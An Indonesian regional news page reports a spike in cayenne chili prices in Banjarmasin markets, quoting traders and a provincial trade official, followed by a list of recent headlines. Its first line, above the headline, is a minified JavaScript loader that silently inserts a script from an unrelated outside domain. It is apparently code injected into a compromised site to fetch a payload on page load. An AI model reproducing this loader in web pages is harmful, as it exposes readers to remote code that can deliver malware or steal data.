(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Cabai Rawit ‘Pedas Harganya’ Capai Rp 80 Ribu/Kg


BANJARMASIN, Harga cabai merah rawit di beberapa pasar di kota Banjarmasin mengalami lonjakan sangat signifikan. Seperti di Pasar Pandu jalan Ahmad Yani Km 3 Kota Banjarmasin, harga jual si kecil merah pedas itu mencapai Rp 75.000 hingga Rp 80.000/Kg.

Salah satu pedagang di Pasar Pandu, Sari mengatakan, beberapa minggu lalu harga cabai rawit merah masih dalam batas normal pada umumnya dipatok kisaran Rp 50.000/Kg, kini sudah mencapai Rp 75.000/Kg. “Beberapa minggu lalu harga cabai masih normal, entah mengapa melonjak naik hingga saat ini,” katanya.

Ditambahkannya, pekan lalu, si merah sempat mencapai harga Rp 80.000/Kg, menurut info yang didapatnya pihak penyuplai alias distributor sudah menaikan harga cabe merah rawit dikarenakan

“Kemarin pernah sampai Rp 80 ribu. Kata penyuplainya ada kekurangan kuota cabai ke Kalimantan Selatan,” ungkapnya.

Sekedar diketahui, modal pembelian dari penyuplai saat ini sudah mencapai harga Rp 50.000 hingga Rp 65.000/Kg-nya, itu yang menyebabkan harga cabai meroket saat ada di pasaran. Minah, pedagang dari pasar Ahmad Yani jalan Veteran mengatakan, sudah mematok harga cabai rawit merah dengan harga sekitar Rp 72.000/Kg sampai dengan Rp 80.000/Kg.

“Ya beginilah kalau berdagang bahan masakan termasuk cabai rawit, pasti mengalami naik turun harganya,” katanya.

Sementara itu, harga jenis cabai yang lain terpantau normal. Misalnya cabai merah keriting Rp 35.000/Kg, cabai besar merah Rp 40.000/Kg dan cabai hijau besar Rp 25.000/Kg.

Dikonfirmasi soal harga cabai rawit, Kepala Dinas Perdagangan Provinsi Kalsel Birhasani mengatakan, pasokan cabai rawit mengalami kekurangan distribusi dikarenakan musim yang sering berubah saat ini. Akibat pengaruh perjalanan kapal sampai busuknya cabai sebelum panen.

“Iya saat ini lagi pancaroba jadi pendistribusian terganggu,” sebutnya.

Pihaknya telah menghubungi para pemasok cabai di Kalsel agar menstabilkan kembali harga cabai dengan semaksimal mungkin. “Insya Allah dalam minggu sudah kembali stabil lagi,” singkatnya.

Untuk pemasok cabai rawit untuk wilayah Kalimantan Selatan banyak didatangkan dari Pulau Jawa Timur, Jawa Tengah dan sebagian dari Flores. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

4 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

20 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

22 jam ago

This website uses cookies.